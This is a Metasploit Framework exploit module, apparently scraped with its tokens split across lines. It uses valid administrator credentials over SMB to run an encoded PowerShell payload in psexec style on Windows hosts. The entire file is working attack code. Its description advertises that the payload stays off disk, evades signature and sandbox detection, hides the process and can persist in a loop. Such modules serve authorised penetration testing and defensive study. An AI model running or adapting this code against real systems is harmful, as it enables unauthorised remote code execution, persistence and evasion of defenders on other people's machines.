# -*- coding: binary -*-
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
##
require
'msf/core'
require
'msf/core/exploit/powershell'
class
Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
# Exploit mixins should be called first
include Msf::Exploit::Remote::
SMB
::Psexec
include Msf::Exploit::Powershell
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'Microsoft Windows Authenticated Powershell Command Execution'
,
'Description'
=> %q{
This
module
uses a valid administrator username
and
password to execute a powershell
payload using a similar technique to the
"psexec"
utility provided by SysInternals. The
payload is encoded
in
base64
and
executed from the commandline using the -encodedcommand
flag. Using this method, the payload is never written to disk,
and
given that
each
payload
is unique, is less prone to signature based detection. Since executing shellcode
in
.
NET
requires the use of system resources from unmanaged memory space, the .
NET
(
PSH
) architecture
must match that of the payload. Lastly, a persist option is provided to execute the payload
in
a
while
loop
in
order to maintain a form of persistence. In the event of a sandbox
observing
PSH
execution, a delay
and
other obfuscation may be added to avoid detection.
In order to avoid interactive process notifications
for
the current user, the psh payload has
been reduced
in
size
and
wrapped
in
a powershell invocation which hides the process entirely.
},
'Author'
=> [
'Royce @R3dy__ Davis <rdavis[at]accuvant.com>'
,
# PSExec command module
'RageLtMan <rageltman[at]sempervictus'
# PSH exploit, libs, encoders
],
'License'
=>
MSF_LICENSE
,
'Privileged'
=>
true
,
'DefaultOptions'
=>
{
'WfsDelay'
=>
10
,
'EXITFUNC'
=>
'thread'
},
'Payload'
=>
{
'Space'
=>
8192
,
'DisableNops'
=>
true
,
'StackAdjustment'
=> -
3500
},
'Platform'
=>
'win'
,
'Targets'
=>
[
[
'Windows x86'
, {
'Arch'
=>
ARCH_X86
} ],
[
'Windows x64'
, {
'Arch'
=>
ARCH_X86_64
} ]
],
'DefaultTarget'
=>
0
,
'DisclosureDate'
=>
'Jan 01 1999'
,
'References'
=> [
[
'CVE'
,
'1999-0504'
],
# Administrator with no password (since this is the default)
[
'OSVDB'
,
'3106'
],
]
))
end
def
exploit
command = cmd_psh_payload(payload.encoded)
if
datastore[
'PERSIST'
]
and
not
datastore[
'DisablePayloadHandler'
]
print_warning(
"You probably want to DisablePayloadHandler and use exploit/multi/handler with the PERSIST option."
)
end
if
datastore[
'RUN_WOW64'
]
and
target_arch.first ==
"x86_64"
fail_with(Exploit::Failure::BadConfig,
"Select an x86 target and payload with RUN_WOW64 enabled"
)
end
# Try and authenticate with given credentials
if
connect
begin
smb_login
rescue
StandardError => autherror
disconnect
fail_with(Exploit::Failure::NoAccess,
"#{peer} - Unable to authenticate with given credentials: #{autherror}"
)
end
# Execute the powershell command
print_status(
"#{peer} - Executing the payload..."
)
begin
return
psexec(command)
rescue
StandardError => exec_command_error
disconnect
fail_with(Exploit::Failure::Unknown,
"#{peer} - Unable to execute specified command: #{exec_command_error}"
)
end
end
end
def
peer
return
"#{rhost}:#{rport}"
end
end